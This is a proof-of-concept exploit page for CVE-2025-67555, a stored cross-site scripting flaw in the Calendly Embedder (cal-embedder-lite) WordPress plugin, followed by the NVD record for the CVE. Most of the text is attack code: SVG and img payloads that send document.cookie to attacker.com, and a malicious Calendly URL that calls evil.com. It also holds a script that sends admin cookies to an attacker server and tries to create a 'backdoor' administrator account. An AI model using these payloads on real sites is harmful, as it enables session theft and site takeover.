CVE-2025-67555

<!-- CVE-2025-67555 PoC: Stored XSS in cal-embedder-lite plugin --> <!-- Inject via plugin settings or API --> <svg/onload=fetch('https://attacker.com/log?cookie='+document.cookie)> <!-- Alternative payload using event handler --> <img src=x onerror="fetch('https://attacker.com/steal?data='+btoa(document.cookie))"> <!-- Stored XSS exploitation via Calendly URL parameter --> <script> // Malicious Calendly URL with embedded XSS payload const maliciousUrl = 'https://calendly.com/attacker?embed_type=Inline&embed_domain=xss" onerror="fetch(\'https://evil.com/callback?c=\'+document.cookie)" data-x="'; // Simulate plugin storing the malicious configuration function exploitPlugin() { // This would be sent to the plugin's settings endpoint const payload = { action: 'save_calendly_settings', calendly_url: maliciousUrl, embed_type: 'Inline' }; // In real attack, this would be an AJAX request to WordPress admin console.log('Payload to inject:', JSON.stringify(payload)); return payload; } // Cookie stealing script that would be stored const stealScript = ` document.addEventListener('DOMContentLoaded', function() { // Steal admin session cookies const cookies = document.cookie; fetch('https://attacker-controlled-server.com/collect?cookies=' + encodeURIComponent(cookies)); // Potentially create backdoor admin account fetch('https://' + window.location.host + '/wp-admin/admin-ajax.php', { method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: 'action=create_admin&username=backdoor&password=P@ssw0rd123' }); }); `; console.log('CVE-2025-67555 Exploitation Script Generated'); console.log('Steal Script:', stealScript); </script>

{"cve": {"id": "CVE-2025-67555", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:31.753", "lastModified": "2026-04-28T19:35:35.487", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in useStrict UseStrict's Calendly Embedder cal-embedder-lite allows Stored XSS.This issue affects UseStrict's Calendly Embedder: from n/a through <= 1.1.7.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.7, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/cal-embedder-lite/vulnerability/wordpress-usestrict-s-calendly-embedder-plugin-1-1-7-2-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}